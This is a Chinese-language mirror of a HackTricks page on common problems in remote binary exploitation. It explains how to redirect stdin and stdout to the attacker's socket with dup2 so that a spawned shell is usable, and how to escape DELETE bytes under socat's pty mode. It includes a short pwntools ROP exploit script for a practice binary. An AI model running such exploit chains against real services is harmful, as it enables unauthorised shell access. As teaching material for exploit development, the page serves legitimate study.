mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
57 lines
3.8 KiB
Markdown
57 lines
3.8 KiB
Markdown
|
# 常见的利用问题
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
|||
|
|
|||
|
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中宣传**吗? 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|||
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
|||
|
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
|||
|
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
|||
|
* **通过向** [**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
|||
|
|
|||
|
</details>
|
|||
|
|
|||
|
## 远程利用中的文件描述符
|
|||
|
|
|||
|
当向调用**`system('/bin/sh')`**的远程服务器发送利用时,这将在服务器进程中执行,`/bin/sh`将期望从stdin(FD:`0`)接收输入,并将输出打印在stdout和stderr中(FDs `1`和`2`)。 因此,攻击者将无法与shell进行交互。
|
|||
|
|
|||
|
修复此问题的一种方法是假设服务器启动时创建了**FD编号`3`**(用于监听),然后,您的连接将在**FD编号`4`**中。 因此,可以使用系统调用**`dup2`**将stdin(FD 0)和stdout(FD 1)复制到FD 4(攻击者连接的FD),从而使得一旦执行后可以联系shell。
|
|||
|
|
|||
|
[**这里的利用示例**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
|
|||
|
```python
|
|||
|
from pwn import *
|
|||
|
|
|||
|
elf = context.binary = ELF('./vuln')
|
|||
|
p = remote('localhost', 9001)
|
|||
|
|
|||
|
rop = ROP(elf)
|
|||
|
rop.raw('A' * 40)
|
|||
|
rop.dup2(4, 0)
|
|||
|
rop.dup2(4, 1)
|
|||
|
rop.win()
|
|||
|
|
|||
|
p.sendline(rop.chain())
|
|||
|
p.recvuntil('Thanks!\x00')
|
|||
|
p.interactive()
|
|||
|
```
|
|||
|
## Socat & pty
|
|||
|
|
|||
|
请注意,socat已经将**`stdin`**和**`stdout`**传输到套接字。但是,`pty`模式**包括DELETE字符**。因此,如果您发送`\x7f`(`DELETE`-),它将**删除您的利用程序的前一个字符**。
|
|||
|
|
|||
|
为了绕过这个问题,必须在发送任何`\x7f`之前添加**转义字符`\x16`**。
|
|||
|
|
|||
|
**在这里你可以** [**找到这种行为的示例**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**。**
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|||
|
|
|||
|
* 您在**网络安全公司**工作吗? 您想看到您的**公司在HackTricks中被广告**吗? 或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|||
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|||
|
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
|||
|
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) **Discord群组**](https://discord.gg/hRep4RUj7f) 或**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
|||
|
* 通过向**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。
|
|||
|
|
|||
|
</details>
|